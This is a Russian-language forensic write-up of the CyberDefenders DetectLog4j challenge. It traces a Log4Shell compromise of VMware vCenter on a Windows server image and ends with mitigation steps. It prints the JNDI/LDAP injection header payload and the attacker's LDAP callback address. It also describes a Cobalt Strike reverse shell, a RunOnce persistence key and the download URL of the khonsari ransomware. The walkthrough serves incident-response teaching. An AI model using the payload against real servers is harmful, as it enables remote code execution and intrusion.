Сегодня рассмотрим интересное задание по форензики с площадки CyberDefenders, которое называется DetectLog4j. Я покажу, как извлекать и анализировать артефакты из образа диска Windows. Мы найдем следы эксплуатации уязвимости Log4Shell и изучим артефакты, которые указывают на ее использовании.
Еще по теме: Форензик кейс взлома серверов под управлением Linux
Задание по форензике DetectLog4j CyberDefenders
По сценарию хакеры взломали веб‑сервер и получили над ним полный контроль. Специалисты ИБ сделали полную копию системного диска взломанной машины Windows, которую мы скачаем и будем исследовать.
По результатам решения форензик-кейса нужно будет ответить на вопросы. В статье покажу процесс прохождения, но ответы подсвечивать не буду. Так вы сможете повторить все самостоятельно, лучше разобраться и закрепить материал.
Для прохождения задания будут использоваться следующие инструменты:
- R-Studio — приложение для восстановления информации с диска.
- Jadx — инструмент для создания исходного кода Java из файлов Apk и Android Dex.
- DIE — утилита для определения типов файлов.
- Программы Registry Explorer, MFTECmd.
- FTK Imager — инструмент для анализа и получения образов диска.
- Утилиты FullEventLogView.
Получение информации об объекте исследования
Файл образа жесткого диска взломанной машины DetectLog4Shell.E01 сохранен в формате EWF (Expert Witness Format). Для создания цифровой копии диска будем использовать утилиту EnCase. Монтируем образ диска в Windows и извлекаем из него артефакты, необходимые для дальнейшего анализа.
Открываем утилиту FTK Imager и монтируем исследуемый диск. Для этого открываем вкладку File —> Image Mounting и в поле Image File выбираем образ Webserver.e01, добавим следующие настройки:
Жмем Mount. Образ диска будет примонтирован и появится следующая информация.
У нас нет разрешений для получения доступа к системным файлам, поэтому будем использовать программу R-Studio и выгрузим файлы реестра, SOFTWARE, SAM, SYSTEM в каталоге:
1 |
%WINDOWS%/Windows/System32/config/ |
Теперь у нас есть информация из куста реестра SYSTEM. Загружаем ее в утилиту Registry Explorer, жмем File —> Load hive, после чего выбираем исследуемый файл. Данные о временной зоне хранятся в ключе TimeZoneKeyName, который расположен в ветви:
1 |
ControlSet001\Control\TimeZoneInformation |
Временные метки во временной зоне — Pacific Standart Time (UTC-8). Имя машины хранится в ключе:
1 |
Windows\System32\config\SYSTEM: ControlSet001\Control\ComputerName\ComputerName |
Данные об IP-адресе компьютера находятся в ключе:
1 |
ControlSet001\Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692} |
где {ea202436-8a31-4cb6-9b59-5be0c2bc1692} — идентификатор адаптера.
Документацию о данном ключе реестра найдете на официальном сайте Мелкомягких.
Флаг EnabledDHCP говорит о том, что сетевой адрес выдается сервером DHCP 192.168.112.254. IP-адрес хоста — 192.168.112.139.
Информация о доменом имени компьютера находится в ключе:
1 |
ControlSet001\Services\Tcpip\Parameters |
Доменное имя компьютера — cyberdefenders.org. Изучаем ветку реестра SOFTWARE, чтобы получить данные об операционной системе. Загружаем эту ветку реестра в утилиту Reg Explorer. Версия ОС и текущий номер сборки в ключе:
1 |
Microsoft\Windows NT\CurrentVersion |
Объект нашего исследования — операционная система Windows Server 2016 Standard Evaluation, версия сборки — 14393.
Теперь получим информацию обо всех установленных приложениях. Для этого заходим в этот ключ реестра:
1 |
Microsoft\Windows\CurrentVersion\Uninstall |
Он хранит информацию об установленных программах.
Находим интересующий нас продукт, в нашем случае VMware.
На скомпрометированной машине установлен VMware vCenter Server, версия установленного продукта — 6.7.0.40322. Файлы программы располагаются в папке:
1 |
Program Files\VMware\vCenter Server |
Теперь найдем версию библиотеки логирования Log4j. Для этого переходим в каталог:
1 |
Program Files\VMware\vCenter Server\VMware Identity Services |
И ищем файл log4j-core-2.11.2.jar. Версия библиотеки — 2.11.2. В этом же каталоге хранится файл конфигурации log4j2.xml, который содержит уровень логирования журнала библиотеки Log4j2.
Проанализируем ветку реестра SAM, чтобы узнать информацию о пользователях. Информация о пользователях системы хранится в ключе:
1 |
SAM\Domains\Account\Users |
В списке юзеров мы обнаруживаем учетные записи myoussef и mhasan. Дата создания пользователя myoussef — 2021-12-28 06:57:23 UTC. О пользователе mhasan есть следующая информация, и в ней хранится подсказка о пароле пользователя.
Чтобы автоматизировать анализ файлов реестра, можно воспользоваться библиотекой Registry для Python3. Она позволяет получать необходимую для анализа информацию из ключей реестра операционной системы.
Поиск точки входа
Мы выяснили, что на скомпрометированной машине установлен продукт VMware vCenter Server. Найдем его логи и начнем их исследовать. Нам известно, что злоумышленники эксплуатировали уязвимость CVE-2021-44228 Log4Shell.
Уязвимость в продукте VMware vCenter Server версии 6.7 находится в заголовке X-Forwarded-For на странице входа
1 |
https://<адрес хоста>/websso/SAML2/SSO/<ДНС-имя хоста>?SAMLRequest= |
где в качестве полезной нагрузки передается строка:
1 |
X-Forwarded-For: \\${jndi:ldap://<ДНС-адрес злоумышленника>:1389/payload} |
После установки соединения с сервером злоумышленника по протоколу LDAP загружается вредоносная нагрузка, которую выполняет Powershell.exe.
Проанализируем логи VMware vCenter Server, расположенные в каталоге:
1 |
ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs |
В момент, соответствующий временной отметке 28.12.2021 в 12:39:28 UTC, обнаружен успешный вход пользователя administrator@vsphere.local.
Начиная с 29.12.2021 01:50:06 UTC обнаружены попытки эксплуатации уязвимости Log4Shell в системе.
Чтобы определить, уязвим ли установленный в системе продукт VMware vCenter Server, злоумышленник в качестве нагрузки использовал адрес:
1 |
log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a |
Источником атаки служит компьютер с IP-адресом 192.168.112.128. После успешной компрометации была загружена полезная нагрузка с IP-адреса атакующего:
1 |
ldap://192.168.112.128/0=tomcat |
В результате анализа логов VMware vCenter Server версии 6.7 мы обнаружили точку входа злоумышленников в сеть организации.
Методы постэксплуатации
Мы выяснили, что злоумышленник проэксплуатировал уязвимость CVE-2021-44228 в продукте VMware vCenter Server 29.12.2021 в 01.50.50 UTC. Загрузим логи операционной системы, для этого откроем утилиту FullEventLogView, нажмем File —> Choose Data Source и выберем каталог, в который выгрузили логи исследуемого образа из папки:
1 |
Windows\System32\winev\Logs |
Затем перейдем на вкладку Options → Advanced Options и выберем интересующее нас время 29.12.2021 01:50 UTC.
Найдем события powershell.exe. В 02:09:51 29.12.2021 UTC злоумышленниками выполнен код командной оболочки Powershell.exe.
Следующим этапом эта полезная нагрузка декодируется и выполняется. Также при анализе логов мы обнаружили следующий код.
Полезная нагрузка декодируется по алгоритму Base64, а далее распаковывается с использованием gzip. Для преобразования перейдем на сайт CyberChef, выберем From Base64 —> Gunzip, загрузим представленные выше закодированные данные и продолжим анализ.
В переменной $var_code содержится шелл‑код, который выполняется в Powershell.exe. Выполним данный скрипт, чтобы обнаружить адрес управляющего центра. Для этого откроем утилиту ProcessHacker2, перейдем на вкладку Network и найдем процесс Powershell.exe.
Нагрузка взаимодействует с управляющим сервером 192.168.112.128 по порту 1337 и представляет собой обратную оболочку для фреймворка Cobalt Strike.
Сохранение постоянства в системе
Проанализируем реестр, чтобы понять, как злоумышленники закрепились в системе.
Обнаруживаем имя исполняемого файла ветке NTUSER.dat пользователя Administrator.WIN-B633EO9K91M в ключе:
1 |
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
Для закрепления в системе злоумышленники использовали исполняемый файл baaaackdooor.exe. Данный файл по его пути мы найти не смогли, но с помощью сканирования антивирусными средствами обнаружили вредоносный файл C:\khonsari.exe. Получим временную метку его создания и исследуем его.
Разберем, в какое время был создан файл khonsari.exe. Для этого с использованием утилиты R-Studio откроем примонтированный виртуальный диск, найдем в корне файл $MFT и выгрузим его.
Воспользуемся инструментом MFTECmd.exe и получим информацию об объектах файловой системы в файл CSV.
1 |
MFTECmd.exe -f $MFT --csv .\RESULT\MFT |
Мы получили файл, содержащий пути ко всем объектам файловой системы, а также метки времени. С использованием поиска найдем файл khonsari.exe. Все метки времени в таблице MFT используют часовой пояс UTC.
Через поиск найдем исследуемый файл — он создан 2021-12-29 02:15:56 UTC.
Также в файле MFT обнаружена дата создания файла khonsari.dmp и путь к нему.
Полученные данные свидетельствуют о том, что вредоносный файл запущен от имени учетной записи Administrator.WIN-B633EO9K91M, при своей работе он получил ошибку, и дамп работы сохранен на диске.
Получим MD5-хеш исполняемого файла khonsari.exe и найдем его на VirusTotal: 6ac57a1e090e7abdb9b7212e058c43c6, имя файла khonsari.exe. В отчете VirusTotal обнаружена первая дата загрузки вредоносного файла: 2021-12-11 22:57:01 UTC. Файл определяется антивирусными средствами следующим образом.
Получим информацию о вредоносном файле, для этого воспользуемся утилитой DIE.
Приложение написано на C#. Декомпилируем исполняемый файл. Для этого можно воспользоваться утилитой DnSpy или ILSpy. Найдем функцию main и разберем функциональность. Код приложения обфусцирован.
Первым делом загружается текстовый файл с адреса, указанного в переменной text. Эта строка преобразуется операцией XOR с ключом в переменной text2="GoaahQrC. После декодирования загружается файл с ресурса
1 |
http://3.145.115.94/zambos_caldo_de_p.txt |
Провайдер IP-адреса 3.145.115.94 — Amazon Technologies Inc.
Далее вредоносный исполняемый файл khonsari.exe получает информацию о каталогах пользователя и начинает шифровать файлы по алгоритму AES. Каждому зашифрованному файлу присваивается расширение .khonsari.
Перед шифрованием расширение файла проверяется по алгоритму, реализованному в функции LxqQxinF. Все файлы с расширениями .ini и .khonsari не шифруются программой‑вымогателем.
Исследуемый нами файл был запущен 29.12.2021 02:17:18, но в результате сбоя он не сработал в скомпрометированной системе.
Дамп сбойного приложения также можно найти в каталоге:
1 |
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\ |
Когда приложение аварийно завершает свое выполнение в Windows, механизм отчетов об ошибках WER собирает подробную отладочную информацию об исполняемом файле. Дамп содержит имя приложения и загружаемые модули. Этот механизм — один из важных артефактов операционной системы, который необходимо анализировать.
Чтобы сохранить постоянное присутствие в системе, злоумышленники использовали ветку NTUSER.dat пользователя Administrator.WIN-B633EO9K91M в ключе реестра:
1 |
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
После этого они загрузили программу‑вымогатель C:\khonsari.exe.
Устранение уязвимости
Для устранения уязвимости CVE-2021-44228 в продуктах VMware VCenter Server версии 6.7 необходимо провести обновление 3q сборки 19300125. Если обновиться невозможно, следует воспользоваться сценарием, который публикует компания VMware.
В целях обновления используется скрипт vc_log4j_mitigator.py, который остановит службы vCenter Server, запустит Java-файлы с флагом log4j2.formatMsgNoLookups=true, распакует файл log4j-core-2.x.x.jar и удалит JndiLookup.class из всех файлов jar/war на устройстве. Первоначальная проблема в библиотеке Log4j была устранена в версии 2.15.0.
Проанализируем файл log4j-core-2.11.2.jar. Для этого переименуем его в формат ZIP и выгрузим файл:
1 |
org/apache/logging/log4j/core/lookup/JndiLookup.class (sha256:0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e) |
Откроем его в утилите jadx и найдем значение, хранящееся в переменной:
1 |
CONTAINER_JNDI_RESOURCE_PATH_PREFIX=java:comp/env/ |
Заключение
По результатам решения форензик-кейса DetectLog4j CyberDefenders мы научились извлекать из операционной системы Windows артефакты, необходимые для расследования инцидента.
Проанализировали реестр и получили первичную информацию об объекте исследования, проанализировали логи VMware vCenter Server версии 6.7 и обнаружили эксплуатацию уязвимости Log4Shell (CVE-2021-44228).
Источником компьютерной атаки был хост с IP-адресом 192.168.112.128, время начала атаки — 29.12.2021 в 01.50.50 UTC.
Далее мы обнаружили загруженную на взломанную машину полезную нагрузку — PowerShell-маячок фреймворка Cobalt Strike. Мы выявили метод закрепления в системе и нашли загруженную злоумышленником программу‑вымогатель.
Наконец, мы нашли методы устранения уязвимости Log4Shell в продуктах VMware vCenter Server.
Полезные ссылки: